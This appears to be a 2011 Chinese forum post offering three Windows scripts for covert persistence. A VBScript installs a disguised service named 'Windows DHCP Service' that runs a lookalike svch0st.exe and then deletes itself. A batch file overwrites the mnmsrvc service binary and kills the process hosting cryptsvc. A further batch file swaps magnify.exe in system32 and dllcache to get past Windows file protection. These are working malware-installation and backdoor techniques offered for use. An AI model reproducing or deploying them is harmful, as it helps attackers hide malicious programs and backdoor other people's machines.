vbs添加系统服务以及替换系统的bat
2011/10/06 01:59
1.vbs添加系统服务：
---------------------------
Const hklm=&h80000002
Const name1="WINnetDHCP"
strdes="通过 Internet 信息服务的管理单元提供 Web 连接和管理。"
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.get("win32_service")
uu2=list.create(name1,"Windows DHCP Service","C:\windows\system32\svch0st.exe",16,2,"Automatic",true,Null,null)
Set wmi=GetObject("winmgmts:\\.\root\default:stdregprov")
wmi.setstringvalue hklm,"SYSTEM\CurrentControlSet\Services\" & name1,"Description",strdes
Dim objws
Dim kavpath
Set objws=WScript.CreateObject("wscript.shell")
kavpath=chr(34) & "C:\windows\system32\svch0st.exe" & Chr(34)
objws.Run kavpath,,true
createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete //自杀
-------------------------------------------------------------------------------------------------------
2.bat 替换系统服务
-------------------------
echo 停止服务
net stop mnmsrvc
echo 设置为自动
sc config mnmsrvc start= auto
echo 开始替换
copy /y mnmsrvcTEST.exe %windir%\system32\mnmsrvc.exe //自己修改
echo 停止DEP
net stop cryjptsvc
FOR /f "tokens=2 delims= " %%1 in ('tasklist/m cryptsvc.dll^|find ^"cryptsvc.dll^"') do taskkill /f /pid %%1
ECHO 启动服务
net start mnmsrvc
'del %0
-------------
3.替换系统文件
--------------------
下面就需要用构造的magnify.exe替换同名的放大镜程序文件，由于Windows对系统文件的自我保护，因此不能直接替换，不过Windows提供了一个命令replace.exe，通过它我们可以替换系统文件。另外，由于系统文件在%Windir%\system32\dllcache中有备份，为了防止文件替换后又重新还原，所有我们首先要替换该目录下的magnify.exe文件。假设构造的magnify.exe文件在%Windir%目录下，我们可以通过一个批处理即可实现文件的替换。
@echo off
copy %Windir%\system32\dllcache\magnify.exe nagnify.exe
copy %Windir%\system32\magnify.exe nagnify.exe
replace.exe %Windir%\magnify.exe %Windir%\system32\dllcache
replace.exe %Windir%\magnify.exe %Windir%\system32
exit
上面批处理的功能是，首先将放大镜程序备份为nagnify.exe，然后用同名的构造程序将其替换。
当前位置：
论坛首页 »
自由讨论区 »
Tomcat, WebLogic及J2EE讨论区
»
发起投票
技术讨论
加好友
发消息
2011-11-26 12:22:23 |
赞(
操作
